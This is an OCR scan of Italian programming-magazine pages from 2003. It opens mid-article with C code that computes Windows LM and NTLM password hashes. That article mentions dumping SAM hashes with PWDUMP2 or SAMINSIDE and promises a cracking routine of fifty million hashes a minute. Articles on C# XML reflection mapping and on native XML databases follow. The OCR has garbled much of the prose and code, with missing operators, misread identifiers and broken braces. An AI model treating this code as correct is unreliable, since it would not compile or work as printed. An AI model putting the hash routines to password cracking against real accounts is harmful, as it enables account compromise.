0x40, 0x23, 0x24, 0x25}; 

des_key_schedule ks; 

setup_des_key(Plain, ks); 

des_ecb_encrypt((des_cblock*) magic, 
(des_cblock*)Hash, ks, DES_ENCRYPT); 

} 

//calcolo NTLM Hash 

void HashlMTLM(BYTE Plain[], BYTE Hash[16], int s) 

{ 

MD4_CTX mdContext; 

MD4_Init(&mdContext); 

//maximum password length = 128 
//password ìs converted in Unicode LittleEndian 

format 128x2 = 256 bytes 

MD4_Update(&mdContext, Plain, s); 

MD4_Final(Hash, &mdContext); 

} 

La funzione HashLMQ riceve in input un vettore di 7 
byte e restituisce, in uscita, un vettore contenente 
l'hash calcolato mediante l'algoritmo DES. Si sup- 
pone che la conversione in maiuscolo della pas- 
sword e il padding con 0x00 vengano fatti prima di 
passare la password a questa funzione. La chiamata 
iniziale a setup_des_key{) serve per inizializzare la 
chiave crittografica del DES (che lavora con key da 
56-bit). Funziona in questo modo: 



void setup_des_key(unsigned e 


har key_56[], 
des_key_schedule &ks) 


{ des_cblock key; 


key[0] = key_56[0]; 


key[l] = (key_56[0] << 7) 


(key_56[l] >> 1); 


key[2] = (key_56[l] << 6) 


(key_56[2] >> 2); 


key[3] = (key_56[2] << 5) 


(key_56[3] >> 3); 


key[4] = (key_56[3] << 4) 


(key_56[4] >> 4); 


key[5] = (key_56[4] << 3) 


(key_56[5] >> 5); 


key[6] = (key_56[5] << 2) 


(key_56[6] >> 6); 


key[7] = (key_56[6] << 1); 


des_set_key(&key, ks); 


} 



Se si vuole calcolare il valore LM Hash di una pas- 
sword, bisogna quindi memorizzarla in due vettori 
di tipo BYTE [7], riempiendo le eventuali posizioni 
mancanti con 0x00, e richiamare due volte la funzio- 
ne HashLMQ passando come parametro una volta il 



primo vettore, un'altra volta il secondo. In uscita 
otterrò due vettori hash di 8 byte ciascuno, che con- 
catenati formano il dato cercato. La funzione 
HashNTLMQ riceve, invece, in input la password 
come generico vettore di BYTE[] e la sua lunghezza, 
rappresentata dal parametro "5". Anche in questo 
caso la funzione si aspetta che la conversione 
Unicode sia stata fatta dall'utente prima della chia- 
mata. Per usare MD4 bisogna prima eseguire l'ini- 
zializzazione del contesto, quindi eseguire la funzio- 
ne di aggiornamento e infine estrarre l'hash calcola- 
to, che sarà grande 16 byte. Un esempio di mainO 
che utilizza queste due funzioni per calcolare gli 
hash di alcune password è il seguente: 

void main() { 
int i; 

BYTE pwdlA[7] = {'A','B','C','D','E',0,0}; 

BYTE pwdlB[7] = {0,0,0,0,0,0,0}; 

BYTE unicode_pwd[10] = {'A',0x00,'b', 0x00, 'e', 0x00, 

'd',0x00,'E',0x00}; 

BYTE hashlA[8]; 

BYTE hashlB[8]; 

BYTE hash2[16]; 

HashLM(pwdlA, hashlA); 

HashLM(pwdlB, hashlB); 

HashlMTLM(unicode_pwd,hash2,10); 

printf("PASSWORD : AbcdE\n"); 

printf("\nTESTl\n"); 

printf("REAL PASSWORD USED: "); 

for(ì=0;i<7;i+ + ) 

printf("%X ",pwdlA[i]); 

for(i=0;i<7;i+ + ) 

printf("%X ",pwdlB[i]); 

printf("\nLM HASH: "); 

for(i=0;i<8;i+ + ) 

printf("%X ",hashlA[i]); 

for(i=0;i<8;i+ + ) 

printf("%X ",hashlB[i]); 

printf("\n\nTEST2\n"); 

printf("REAL PASSWORD USED: "); 

for(i=0;i<10;i++) 

printf("%X ",unicode_pwd[i]); 

printf("\nNTLM HASH: "); 

for(i=0;i<16;i++) 

printf("%X ",hash2[i]); 

} 

Per verificare l'effettivo funzionamento di questo 
programma basta settare la propria password di 
Windows con la stringa "AbcdE" ed estrarre le chiavi 
hash dal SAM (usando PWDUMP2 o SAMINSIDE) 
per confrontarle con quelle calcolate. Nel prossimo 
articolo vedremo come automatizzare una routine 
di cracking - basata su queste funzioni - capace di 
generare e testare circa cinquanta milioni di LM 
Hash al minuto! 

Ing. Elia Florio 



* 32/Dicembre 2003 



http://www.ioprogrammo.it 



Lo standard XML nella piattaforma .NET ■ T TEORIA & TECNICA 



Come render e p iù flessibile il nostro codice 

Importare documenti 



XML con C# 



parte seconda 



Continuiamo il percorso iniziato lo scorso mese mostrando come 
importare oggetti semplici contenuti in documenti XML A tal fine 
utilizzeremo il parser XML già implementato e la reflection. 



Reflection è un termine generico che indica 
un insieme di potenti caratteristiche all'in- 
terno del framework .NET. I programmatori 
Java conoscono ed usano la reflection già dalla 
prima versione del linguaggio. Ora, grazie a .NET, 
anche gli sviluppatori C#, Visual Basic, ASP e C++ 
(managed) possono utilizzare questa potente 
caratteristica. Come vedremo, attraverso la reflec- 
tion sarà possibile ispezionare tipi e classi all'inter- 
no della propria applicazione (o in altri assembly) e 
leggere matadati dagli assembly manifest. Il name- 
space fondamentale per la reflection è System.Re- 
flection. 



CREARE OGGETTI 

MEDIANTE 

LA REFLECTION 

La reflection sarà usata per fornire un insieme di 
funzionalità che consentono di: 

• creare oggetti C# a partire da una stringa 
che rappresenta il nome della classe; 

• ispezionare un campo di un oggetto C# a 
partire da una stringa che rappresenta il 
nome del campo; 

• impostare il valore di un campo dinamica- 
mente. 

La classe System.Type ci sarà molto utile per ottene- 
re questo obiettivo. Infatti, un'istanza di Type contie- 
ne informazioni circa classi e tipi base. Un modo per 
ottenere un'istanza di Type è quello di usare il meto- 
do statico GetType. Il seguente frammento di codice 
mostra come ottenere un oggetto Type relativo alla 
classe Persona: 

Type typeClass = Type.GetType("Persona"); 



La variabile typeClass è un'istanza di Type e può 
essere utilizzata per ottenere metadati ed altri tipi di 
informazioni relative alla classe Persona quali 
campi, proprietà, metodi, costruttori, ecc.. Usando 
la classe di sistema Activator sarà possibile creare 
una nuova istanza di Persona, come mostrato di 
seguito: 

Type typeClass = Type.GetType("Persona"); 
if (typeClass= = null) 

Console. WriteLine("Classe non trovata"); 
else 

Persona p = 

(Persona) Activator.Createlnstance(typeClass); 

Il codice crea un'istanza di Persona usando il meto- 
do GetType e, successivamente, controlla se il valore 
di ritorno è nuli. Se è così, significa che la classe 
Persona non esiste nell' assembly corrente. Nel caso 
in cui il valore sia differente da nuli, questo rappre- 
senterà un oggetto di Type relativo alla classe Per- 
sona. Usando il metodo Createlnstance della classe 
System. Activator, sarà possibile creare un oggetto di 
tipo Persona. La classe di sistema Activator contiene 
metodi per la creazione dinamica, locale o remota, 
di oggetti. In questo articolo utilizzeremo tale classe 
per creare gli oggetti definiti nel documento XML. 
Abbiamo quindi una soluzione al nostro primo 
punto: creare oggetti C# partendo dal nome delle 
classi. Grazie alla classe Type, è possibile ottenere 
anche informazioni relative ai campi contenuti nella 
classe. Consideriamo il seguente esempio: 

Type typeClass = Type.GetType("Persona"); 
Fieldlnfo fieldlnfo = typeClass. GetFìeld("cognome"); 

La classe System.Reflection.Fieldlnfo ha lo stesso 
significato per i campi di quello che la classe Type ha 
per le classi. Come mostrato nel codice, è possibile 




□ CD □ WEB 

lmportXML_2.zip 



—-T 7 ^' 1 ■'■■ ■'' 



LISTATI 

Sul CD allegato alla 
rivista sono presenti 
sia i listati relativi a 
questo articolo, sia il 
codice delle classi 
implementate nei 
numeri precedenti e 
qui utilizzate. 



http://www.ioprogrammo.it 



Dicembre 2003/33 ► 



TEORIA & TECNICA T Lo standard XML nella piattaforma .NET 




CREARE 
OGGETTI 

Infatti, leggendo il 

documento XML, è 

possibile ottenere il 

nome delle classi, dei 

campi ed i relativi 

valori. Partendo da 

queste informazioni, 

ed usando la 

ref lection, sarà 

possibile creare oggetti 

ed assegnare ai campi i 

valori opportuni. 



ottenere un oggetto di Fieldlnfo utilizzando il meto- 
do GetField di Type. Quindi il punto due è anche 
ottenuto: possiamo ispezionare il campo di una 
classe partendo dal suo nome. Per raggiungere l'ul- 
timo obiettivo, è necessario trovare un modo per 
impostare il valore di un campo. Tale operazione è 
veramente banale: il metodo setValue della classe 
Fieldlnfo consente proprio di impostare il valore di 
un campo appartenente ad un determinato oggetto. 
Il metodo prende in input due parametri: l'oggetto 
padre del campo ed il valore che s'intende assegna- 
re. L'esempio che segue mostra come assegnare 
"Rossi" al campo cognome della classe Persona: 

Type typeClass = Type.GetType("Persona"); 
Persona p = 

(Persona) Activator.Createlnstance(typeClass); 
Fieldlnfo fieldlnfo = typeClass. GetField("cognome"); 
fieldlnfo. setValue(p,"Rossi"); 



MAPPARE 
OGGETTI SEMPLICI 

Inizieremo con la realizzazione di un componente 
che effettua il mapping di oggetti semplici. Un "og- 
getto semplice" è un oggetto che contiene campi 
appartenenti esclusivamente a tipi base. Per effet- 
tuare il mapping degli elementi, il componente deve 
conoscere la struttura del documento XML, cioè il 
mondo in cui le classi ed i campi sono rappresenta- 
ti all'interno del documento. Un esempio di docu- 
mento XML potrebbe essere il seguente: 

<class name="Temperature"> 
<field name="city" value="London" type="string"/> 
<field name="dateTime" value="09/08/2002 12.00" 

type="time"/> 
<field name="temperature" value="23" type="short"/> 
<field name="scale" value="C" type = "char"/> 
<field name="umidity" value="0.56" type="double"/> 

</class> 

Gli elementi sono due: <class> e <field>. Il primo 
presenta l'attributo name che non è altro che il 
nome della classe (nell'esempio Temperature). Il se- 
condo possiede tre attributi: name, che è nome del 
campo, value, che è il valore e type che rappresenta 
uno dei tipi predefiniti. Lo schema XML che descri- 
ve tale struttura è il seguente: 




<xs:enumeration value="time" /> 
</xs:restriction> 
</xs:simpleType> 

<!- Field -> 

<xs:complexType name="Field"> 
<xs:attribute name="name" type="xs:string'7> 
<xs:attribute name="value" type="xs:string" /> 
<xs:attribute name="type" type="Type" /> 
</xs:complexType> 

<!— Class — > 

<xs:complexType name="Class"> 
<xs:sequence> 
<xs:element name="field" type="Field" 
minOccurs="0" maxOccurs="unbounded" /> 
</xs:sequence> 

<xs:attribute name="name" type="xs:string" /> 
</xs:complexType> 
<!— classes — > 
<xs:element name="classes"> 
<xs:complexType> 
<xs:sequence> 
<xs:element name="class" 
type="Class" maxOccurs="unbounded" /> 
</xs:sequence> 
</xs:complexType> 
</xs:element> 
</xs:schema> 

Come si può notare, sono considerati, per sempli- 
cità, solamente otto tipi di dato base: string, integer, 
short, doublé, char, boolean, date e time. Un docu- 
mento XML valido per tale schema sarà formato da 
un insieme d'elementi <class> che a loro volta con- 
terranno una sequenza di elementi <fleld>. La prima 
versione del componente che realizzeremo funzio- 
nerà esclusivamente con documenti XML che ri- 
spettano tale schema. Un primo semplice approccio 
che potremmo utilizzare per sviluppare il compo- 
nente è quello di implementare il metodo process- 
Element dell'interfaccia Handler in modo che esso 
legga il codice XML e, mediante la reflection, crei gli 
oggetti opportuni. Questa è sicuramente una solu- 
zione funzionante, ma non è opportuno effettuare 
questo lavoro direttamente nel metodo processEle- 
ment. E' meglio separare il codice che legge l'XML da 
quello che crea gli oggetti. Per tale ragione introdur- 
remo l'interfaccia MappingFramework. L'Handler 
avrà un riferimento ad un oggetto di tipo Mapping- 
Framwork e delegherà ad esso la creazione vera e 
propria degli oggetti. 

Siamo quindi in presenza di due moduli differenti: 
l'Handler che legge ed interpreta gli elementi XML e 
il MappingFramework che crea gli oggetti ed impo- 
sta i valori relativi ai campi. L'interfaccia Mapping 
Framework è la seguente: 

public interface MappingFramework { 



»> 36/ Dicembre 2003 



http://www.ioprogrammo.it 



Lo standard XML nella piattaforma .NET ■ T TEORIA & TECNICA 



void startClass(string 


className, 


strir 


g id); 


object endClass(); 


void startField(string 


name, string vai 


string type); 


void endField(); 


void startClassField(string name, 


strin 


g id); 


void endClassField(); 


void startArray(string 


name); 






void endArray(); 


void startltem(string 


className) 






void endltem(); 


} 



L'interfaccia contiene cinque coppie di metodi 
startXXX e endXXX. Per esempio, startClass sarà 
invocato dall'Handler quando un elemento <class> 
viene letto dall'XML. Invece, endClass sarà invocato 
quando viene letto un elemento </class>. Al fine di 
mappare oggetti semplici, sarà sufficiente imple- 
mentare un paio di metodi, quelli relativi ai tag 
<class> e <fleld>. Gli altri metodi ci serviranno in fu- 
turo per aggiungere nuove funzionalità. All'interno 
del codice è presente un'implementazione di default 
per il MappingFramework (la classe astratta Empty 
MappingFramework) per la quale ogni metodo non 
svolge alcuna azione. 



TIPI DI DATO 

Prima di iniziare ad implementare componente 
che mappa oggetti semplici, sarà necessario spen- 
dere un paio di parole sui tipi di dato. Come abbia- 
mo già affermato, il componente supporterà i tipi di 
dato indicati dallo schema XML. Essi però sono 
espressi in modo generico: sarà quindi necessario 
convertirli in tipi di dato relativi al linguaggio C#. 
Tale compito sarà delegato all'interfeccia TypeCon- 
verter: 

public interface TypeConverter { 
string convert(string xmlType);} 

Il metodo convert convertirà tipo di dato generico, 
definito dallo schema XML, nell'equivalente tipo C#. 
Quella che segue è un frammento dell'implementa- 
zione (TypeConverterIm.pl) usata in questa serie di 
articoli, la versione completa è presente sul CD alle- 
gato alla rivista: 

public class TypeConverterlmpI : TypeConverter { 
public string convert(string xmlType){ 
if (xmlType. CompareTo("string") ==0) 

return "System. String"; 
if (xmlType. CompareTo("short") ==0) 

return "System. Intl6"; 
// eccetera ... } 

Ovviamente è possibile implementare TypeConver- 



ter in modo da modificare i tipi usati oppure sup- 
portane di nuovi. A questo punto possiamo iniziare 
ad implementare il MappingFramework per oggetti 
semplici. Le seguenti saranno le prime righe di codi- 
ce che dovremmo scrivere: 

public class MappingFrameworklmpll : 
EmptyMappingFramework { 
// Oggetto corrente 
private object currentObj = nuli; 
// TypeConverter 

private TypeConverter converter = 
new TypeConverterlmplQ; 

La classe MappingFrameworklmpll estende la clas- 
se astratta EmptyMappingFramework. Essa presenta 
due membri privati: currentObj che rappresenta 
l'oggetto correntemente processato e converter che 
è un'istanza di TypeConverterlmpI. L'implementa- 
zione del metodo startClass è il seguente: 

public override void startClass(string className, 

string id) { 

// Type 

Type typeClass = Type.GetType(className); 

if (typeClass= = null) 
throw new System. Xml. XmlException 
("Class not found: " + className, nuli); 

// Crea l'oggetto 

currentObj = Activator.Createlnstance(typeClass); 
} 

Il metodo crea un'istanza della classe di nome class- 
Name usando la refiection (in particolare i metodi 
Type.GetType e Activator.Createlnstance). L'oggetto 
viene memorizzato nel dato membro currentObj. Il 
parametro id non sarà utilizzato per l'implementa- 
zione relativa ad oggetti semplici. L'implementazio- 
ne di startField è la seguente: 

public override void startField(string name, 
string vai, string type) { 
object obj = currentObj; 
// Preleva Type e Fieldlnfo 
Type typeClass = obj.GetType(); 
Fieldlnfo fieldlnfo = typeClass. GetField(name); 

if (fieldlnfo == nuli) 

throw new System. Xml. XmlException 
("Field not found: " + obj.GetTypeQ + 
"." + name, nuli); 
// Ottiene il tipo C# usando TypeConverter 
string cSharpType = converter.convert(type); 
if (fieldlnfo. FieldType.ToString(). 
CompareTo(cSharpType)!=0) 
throw new System. Xml. XmlException( 
"Different type found: " + obj.GetTypeQ + 
"." + name + 
"\n\rXML type: " + type + 





GLOSSARIO 



LATE BINDING 

Opposto all'Early 
Binding, il Late Binding 
si riferisce alla 
possibilità che il nostro 
codice interagisca con 
gli oggetti in modo 
dinamico a run-time, 
cosa che fornisce una 
grande flessibilità in 
quanto il nostro codice 
non deve preoccuparsi 
del tipo di oggetto con 
cui interagisce: è 
sufficiente che 
l'oggetto supporti il 
metodo che il codice 
vuole invocare. Il 
rovescio della 
medaglia è che il tipo 
di oggetto non è noto 
né al compilatore, né 
all'IDE, cosa che 
impedisce sia un ckeck 
sintattico del codice a 
tempo di 
compilazione, sia 
l'aiuto 

dell'IntelliSense. In 
cambio, abbiamo una 
impagabile flessibilità 
del nostro codice. 



http://www.ioprogrammo.it 



Dicembre 2003/37 ► 



TEORIA & TECNICA T Lo standard XML nella piattaforma .NET 




BIBLIOGRAFIA 



• MAPPING XML TO C# 

OBJECTS USING 

REFLECTION 

G. Naccarato 

C#Today 

(Wrox Press) 

Ottobre 2002 

• PROFESSIONAL C# 2"" 

EDITION 

S. Robinson e altri 

Wrox Press 2002 

• .NET SERIALIZATION 

S. Gopikrishna, 

K. Sanghavi 

C#Today 

Luglio 2001 

http://www.csharptoday, 

com/content.asp?id=1 532 

• REFLECTION IN .NET 

Hari Shankar 

C# Corner 

Febbraio 2001 

http://www.c-sharpcorner 

.com/1/Reflection_in_ 

net.asp 

• C# PROGRAMMING: 

ATTRIBUTES AND 

REFLECTION 

Jesse Liberty 

(XML.com) 

Agosto 2001 

http://www.xml.com/ 

pub/r/1207 



"\n\rC# type: " + fieldInfo.FieldType,null); 

try-C 

if (cSharpType.CompareTo("System.String") ==0) { 
fieldInfo.SetValue(obj,val); 

_J 

if (cSharpType.CompareTo("System.Int32")= = 0) { 
int v = int.Parse(val); 
fieldInfo.SetValue(obj,v); 

_J 

// Eccetera ... 

} 

catch (Exception) { 
throw new System. Xml. XmlException( 

"Error in field " + obj.GetType() + 

"." + fieldlnfo.Name + 

"\n\rValue \"" + vai + 

"\" cannot be contaied in the type " + 

fieldlnfo.FieldType 

,null); 

} 



} 



L'Handler invocherà il metodo startField nel 
momento in cui un elemento <fleld> sarà letto dal 
documento XML. Il metodo prende in input tre 
stringhe: 

• name - Il nome del campo (es: "cognome"); 

• vai - Il valore del campo (es: "Rossi") 

• type - Il tipo definito dallo schema XML (es: 
"string") 

Fondamentalmente questo metodo fa tre cose: 

1) crea un'istanza di Fieldlnfo relativa al campo 
rappresentato dal parametro name 

2) converte il tipo di dato generico definito nello 
schema XML nel relativo tipo C# 

3) imposta il valore del campo in base al tipo di 
dato. 

In questo metodo avviene la verifica del tipo di dato. 
Come si può notare infatti, esso lancia un'eccezione 
se il tipo di dato XML non è lo stesso di quello defi- 
nito all'interno della la classe C# oppure se il valore 
non è compatibile con il tipo di dato del campo. 
L'ultimo metodo che implementeremo è closeClass. 
Il codice è il seguente: 

public override object endClass(){ 

// Ritorna l'oggetto corrente 

return currentObj; 
} 

Questo metodo sarà richiamato dall'Handler quan- 
do un elemento <lclass> viene letto dal documento 
XML. Ciò significa che le informazioni sulla classe 
sono terminate, di conseguenza il metodo restituirà 



l'oggetto corrente che, a questo punto, conterrà 
tutte le informazioni provenienti dal documento 
XML. Adesso ci rimane da implementare l'Handler. 
Chiameremo questa prima implementazione Sim- 
pleObjectHandler. Le prime righe sono le seguenti: 

public abstract class SimpleObjectHandler : Handler { 
// Mapping Framework 
protected MappingFramework framework; 
// Costruttore 
public SimpleObjectHandler 
(MappingFramework framework) { 
this. framework = framework; 

A 

// Deve essere implementato dalle classi derivate 

public abstract void processObject(object obj); 

La classe è astratta perché non implementa il meto- 
do processObjectH quale dovrà essere implementato 
successivamente dalla classe concreta che estende 
SimpleObjectHandler. L'unico dato membro della 
classe è un'istanza di MappingFramework che, co- 
me si può notare, sarà inizializzata all'interno del co- 
struttore. La parte più interessante della classe Sim- 
pleObjectHandler è il metodo processElement. Esso 
legge gli elementi XML ed invoca l'opportuno meto- 
do del MappingFramework. Questa è l'implementa- 
zione: 

public void processElement(XmlValidatingReader xtReader) { 

// Elementi XML 

if (xtReader. NodeType==XmlNodeType.Element){ 
// Elemento <class> 

if (xtReader.Name.CompareTo("class") ==0) { 
xtReader. MoveToAttribute("name"); 
string className = xtReader.Value; 
// Invoca il mapping framework 
framework. sta rtClass(classl\lame,null); 

} 

// Elemento <field> 

if (xtReader.Name.CompareTo("field") ==0) { 

// Trova name, value e type 

xtReader. MoveToAttribute("name"); 

string name = xtReader.Value; 

xtReader. MoveToAttribute("value"); 

string vai = xtReader.Value; 

xtReader. MoveToAttribute("type"); 

string type = xtReader.Value; 

// Invoca il mapping framework 

framework. sta rtField(na me, val,type); 

} 

_J 

// Elementi XML finali 

if (xtReader. NodeType == XmlNodeType.EndElement) 

_A 

// Elemento </class> 

if (xtReader. Name. CompareTo("class") ==0) 

{ 



* 38/ Dicembre 2003 



http://www.ioprogrammo.it 



Lo standard XML nella piattaforma .NET ■ T TEORIA & TECNICA 



// Invoca il mapping framework 
object obj = framework. endClass(); 
// Invoca processObject (overridden) 
processObject(obj); 



} 



_} 

catch(System.Xml.XmlException e) 

J 

Console. WriteLine(e.Message); 

} 



} 



} 




La filosofia dietro al metodo è veramente semplice: 
quando il parser legge un elemento <class>, il meto- 
do startClass, del MappingFramework, sarà invoca- 
to. Il parametro className è valore dell'attributo 
nome. Nel momento in cui l'elemento <fleld> viene 
letto, il metodo startField viene invocato passando i 
parametri name, vai e type prelevati dai rispettivi 
attributi. Infine, quando l'elemento letto è </class>, i 
metodi invocati saranno prima endClass e poi 
processObject. La classe che effettuerà l'overriding di 
quest'ultimo metodo, potrà usare l'oggetto appena 
importato nella maniera che riterrà opportuna. 
Dopo aver visto come realizzare l'Handler ed il Map- 
pingFramework, possiamo eseguire un semplice 
programma che importa un documento XML, mo- 
stra gli oggetti creati ed il valore dei relativi campi. 
Ecco il codice: 

using System; 

using System. Xml; 

using System. Reflection; 

using System. Collections; 

using Wrox. Xml. Mapping; 

// Example of using SimpleObjectHandler 

public class ExampleHandlerl: SimpleObjectHandler 

{ 

public ExampleHandlerl() : 
base(new Mapping FrameworkImpll()) 

{} 

public override void processObject(object obj) 

_i 

// Visualizza l'oggetto creato 

Console. WriteLine(obj); 
// ToString deve essere sovrascritto 

_} 

} 

public class MainProgram 

{ 

public static void Main (StringfJ a) 

_J 

if (a.l_ength<l){ 

Console. Writel_ine("No Params"); 
return; 

} 

string filename = a[0]; 
Xmllmporter xmllmporter = 

new XmlImporter(new ExampleHandlerl()); 
try 

{ 

xmllmporter. import(filename); 



La classe ExampleHandlerl estende SimpleObject- 
Handler ed implementa il metodo astratto process- 
Object in modo da visualizzare i dati relativi all'og- 
getto stesso (il metodo ToString deve essere quindi 
implementato). Il programma principale è un'appli- 
cazione console che prende in input il nome del file 
XML da mappare, crea un oggetto Xmllmporter pas- 
sando al costruttore una nuova istanza di Example- 
Handlerl e invoca il metodo import. Supponendo 
che esista la seguente classe: 

public class Temperature 

{ 

public string city; 

public DateTime dateTime; 

public short temperature; 

public char scale; 

public doublé dbIHumidity; 

public override string ToString() 

{ 

return "{" + city + "," + dateTime.ToString() + "," 
+ temperature + "," + scale + "," + dbIHumidity + "}"; 

_} 

} 

e che il file example- 1. xml contenga il codice XML 
che abbiamo visto all'inizio del paragrafo. Il pro- 
gramma, avendo in input example- 1. xml, importerà 
e visualizzerà oggetti di tipo Temperature come 
mostrato in Fig. 1. 




Fig. 1: Output relativo all'XML per le temperature 



CONCLUSIONI 

Ragionando con la stessa filosofia ed implementan- 
do in modo differente il MappingFramework e 
l'Handler possiamo ottenere un componente anco- 
ra più potente in grado di effettuare il mapping di 
oggetti complessi, array di oggetti ed utilizzare riferi- 
menti interni. Ma di questo parleremo il mese pros- 
simo... 

Giuseppe Naccarato 




GLOSSARIO 



REFLECTION 

É una caratteristica che 
consente ad una 
applicazione di 
recuperare 

informazioni sui propri 
metadati. Grazie a 
System. Reflection 
un'applicazione può 
scoprire informazioni 
su se stessa, mostrarle 
agli utenti, modificare 
il proprio 
comportamento 
attraverso il late- 
binding, l'invocazione 
dinamica e la 
costruzione a run-time 
di nuovi tipi. 



http://www.ioprogrammo.it 



Dicembre 2003/39 ► 



TEORIA & TECNICA T ■ Database e XML 



Es empi pratici per capire l'evoluzione dei database 

Uno sguardo 

ai DB XML nativi 

Con "nativo" si indica la caratteristica peculiare di questi database di 
gestire la persistenza e l'analisi di documenti XML come tipo di dato 
fondamentale, contrapposto al record dei database. 




Sf CD ^ WEB 



DBJML.zip 



WliiltiMttlilìiWi 




INSTALLAZIONE 
EXIST 

eXist, in versione 0.9.2, 

è disponibile sul CD 

allegato alla rivista. 

Scompattate il file 

eXist-0.9.2.zip in 

qualsiasi directory, ad 

esempio C. 

Fatto questo, per 

avviare il DB è 

sufficiente lanciare il 

file batch C:\eXist- 

0.9.2\bin\startup.bat, 

mentre al fine di 

interromperne 

l'esecuzione è 

necessario lanciare 

C:\eXist-0.9.2\bin\ 

shutdown.bat. 



I database XML nativi possono essere visti sia co- 
me evoluzione degli indicizzatori testuali, sia co- 
me sistemi dedicati alla gestione della persisten- 
za di grandi quantità di dati basati su tecnologia 
XML piuttosto che su record e relazioni. Questo se- 
condo aspetto è in qualche modo sperimentale e, 
benché esistano già progetti sufficientemente con- 
solidati da offrire i requisiti minimi di stabilità ri- 
chiesti da un ambiente di produzione, sia in ambito 
open-source che commerciale, è evidente che è an- 
cora necessario svolgere molto lavoro e che il gap di 
esperienza fra database XML nativi e database rela- 
zionali, è notevole. 

In questo articolo analizzeremo gli aspetti fonda- 
mentali di questa tecnologia e daremo alcuni esem- 
pi di codice. Per quanto riguarda gli esempi pratici 
abbiamo scelto Java come piattaforma di sviluppo e 
come database i due progetti open-source più pro- 
mettenti: XIndice ed eXist. 



PERCHE XML 

L'XML nasce come semplificazione dell'SGML, co- 
me linguaggio di marcatura del testo. Marcare (o 
come dicono alcuni taggaré) il testo significa ag- 
giungere, ad un flusso di parole, alcune informa- 
zioni aggiuntive, o meta-informazioni, che posso- 
no essere connotazioni semantiche (ad esempio il 
tag <H1> dell'HTML che indica che la frase rac- 
chiusa è il titolo della pagina) o istruzioni per la 
formattazione (ancora un esempio dall'HTML: il 
tab <B> indica che il contenuto deve essere mo- 
strato in grassetto) o ancora aggiungere al flusso di 
parole dell'informazione strutturata per estendere 
la semantica del testo (ad esempio il tag <FORM> 
che aggiunge all'HTML inteso come strumento di 
presentazione di ipertesti, degli elementi interatti- 
vi quali pulsanti, campi di testo, etc). Successiva- 



mente, alcune caratteristiche dell'XML quali la 
sintassi rigida e formale e la struttura ad albero (un 
tag può essere richiuso soltanto quando tutti i tag 
aperti al suo interno sono stati chiusi) che rendo- 
no efficiente il parsing, hanno permesso di usarlo 
per rappresentare anche dati non testuali; si pensi 
alla serializzazione (vedi Castor), o alla comunica- 
zione (vedi SOAP) . 



VANTAGGI 
E LIMITI DEI 



DB XML 



Un database XML nativo non è altro che un databa- 
se in cui dato fondamentale non è il record ma il 
documento XML. La differenza è pertanto molto 
profonda, soprattutto dal punto di vista tecnologico. 
Vediamo adesso quali sono i principali vantaggi e 
svantaggi di questi database: 

• un repository xml è estremamente flessibile nella 
rappresentazione dei dati, in quanto non e' richie- 
sto che i documenti siano validati da una stessa 
dtd. Questo permette di modificare la struttura dei 
documenti per venire in contro ad "esigenze 
impreviste" senza che questo abbia grosse riper- 
cussioni sull'applicazione (talvolta nessuna!); 

• rappresentare relazioni fra documenti XML può 
rivelarsi inefficiente; 

• i database relazionali sono il frutto di anni e anni 
di esperienza, mentre i database XML nativi sono 
relativamente giovani, e questo sicuramente im- 
plica minore efficienza e stabilità; 

• il confronto fra queste due tecnologie è molto più 
complesso delle considerazioni qui riportate e va 
oltre gli scopi di questo articolo. Ci concentreremo 
invece su alcuni esempi pratici d'utilizzo, basati su 
due dei più promettenti progetti open-source: 
XIndice ed eXist. 



* 40/Dicembre 2003 



http://www.ioprogrammo.it 



Database e XML ■ T TEORIA & TECNICA 



Gli esempi che mostreremo sono scritti in Java e, per 
interagire con i database, utilizzano l'interfaccia 
proposta dal gruppo XML.DB. Questa API si propo- 
ne come analogo del JDBC per quanto riguarda i da- 
tabase XML nativi. Attraverso l'interfaccia XML.DB, i 
database XML sono visti come collection contenen- 
ti documenti o altre collection. L'analogia evidente è 
quella con i filesystem, dove alla collection corri- 
sponde la directory e al documento corrisponde il 
file. Connettersi al database significa "aprire" la di- 
rectory, per poter: 

• esaminare il contenuto: avere una lista dei docu- 
menti contenuti nella collection o eseguire query 
xpath (vedi dopo); 

• aggiungere documenti; 

• rimuovere documenti; 

• modificare documenti per mezzo di query xupdate. 

Le collection hanno un nome e sono individuate da 
un path simile (per non dire identico) al path di una 
directory su filesystem. All'interno delle collection i 
documenti hanno un ID univoco (l'analogo del no- 
me del file), che permette di identificarli. Le collec- 
tion sono individuate da un URI che ha in generale 
la forma: 

protocollo: sottoprotocollo ://host:porta/path_della_collection 

Il protocollo è xmldb, il sottoprotocollo indica il tipo 
di database server al quale si sta accedendo (ad 
esempio xindice per Xindice, ed existpei eXist), l'ho- 
st è l'indirizzo tcp/ip della macchina sulla quale gira 
il server, e l'ultima parte è il nome completo della 
collection. Un esempio di URI per Xindice è: 

xmldb :xindice://localhost:4080/db/test 

In Xindice il nome della collection specifica anche 
l'istanza di database (/db). Il server Xindice infatti è 
in grado di gestire più istanze di database contem- 
poraneamente. Un esempio per eXist è: 

xmldb :exist://localhost:8080/exist/xmlrpc/db/test 

La connessione avviene in due fasi: 

• registrazione dei sotto protocolli e dei driver di 
comunicazione; 

• connessione vera e propria. 



sione e l'esame di una collection. 



UHI PRIMO ESEMPIO 

Il file sorgente cui ci riferiamo n questo paragrafo è 
XMLDBTestl.java. Le prime linee contengono le di- 
chiarazioni import delle classi XMLDB: 



import org 


xmldb 


api 


.base.*; 


import org 


xmldb 


api 


.modules.*; 


import org 


xmldb 


api 


* ■ 



Il package org.xmldb.api contiene la classe Databa- 
seManager che gestisce la registrazione dei driver e 
la risoluzione del driver a partire dall'URI. Il package 
org.xmldb.api.base contiene tutte le principali classi 
della libreria ovvero: Database, Collection, Resource, 
etc. Infine, il package org.xmldb.api.modules contie- 
ne i servizi xpath, xupdate, etc. Quello dei servizi è il 
meccanismo di espansione che la libreria XMLDB 
mette a disposizione. La classe Collection di per sé 
offre le funzioni minime di navigazione sul database 
(accesso ai suoi documenti alle sotto collection) e 
modifica (aggiunta e rimozione di documenti). Tutte 
le funzioni avanzate sono gestite dai servizi. I princi- 
pali sono appunto xpath e xupdate, che permettono 
rispettivamente di eseguire query xpath e xupdate, 
altri sono il CollectionManagement e il Transaction. 
Il primo permette la creazione e la cancellazione di 
collection, il secondo gestisce le transazioni. L'im- 
plementazione dei servizi è facoltativa e dipende dal 
driver. Per quanto riguarda Xindice, soltanto i servi- 
zi xpath, xupdate e CollectionManagement sono im- 
plementati. Le transazioni non sono supportate. 
Xindice inoltre offre un servizio non standard alter- 
